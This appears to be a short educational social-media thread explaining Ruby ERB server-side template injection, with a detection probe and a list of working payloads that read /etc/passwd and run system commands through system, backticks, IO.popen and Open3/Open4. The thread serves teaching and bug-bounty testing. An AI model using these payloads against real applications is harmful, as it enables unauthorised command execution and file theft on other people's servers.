Thread by @harshbothra_

#SecurityExplained S-59: Ruby ERB SSTI

Server-Side Template Injection (SSTI) vulnerabilities occur when user-supplied data is inserted into a template and insecurely evaluated as an expression by the template engine.

#appsec #bugbountytips
[1/n 🧵]

This may allow an attacker to trick the template engine into evaluating an expression that could allow an attacker to execute system commands or get a shell
To look for template injection vulnerability, it is essential to enumerate and know if the template engine is in use.

2/n

3/n
If the application uses a template engine, the next thing is to know what language-based template injection is used and what all classes and methods are accessible that could be chained together to perform the desired action.

4/n
# Looking for Template Injection in Ruby ERB:

1. Let's assume the target application is running Ruby and a specific input field/functionality looks like using a template engine.
2. Now, try a simple payload like <%=7*7%>
...

5/n
...
3. If the output is "49", it is confirmed that the application makes use of Ruby ERB Template Engine.

After confirming the template engine as Ruby ERB, one can try for following payloads for actions such as local file read or command execution:

6/n
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

n/n
A detailed write up on Ruby ERB Template Injection by TrustedSec: trustedsec.com/blog/rubyerb-t…

SecurityExplained Repo: github.com/harsh-bothra/S…

#appsec #infosec #webappsec #bugbountytips #hacking #learning #knowledge #websecurity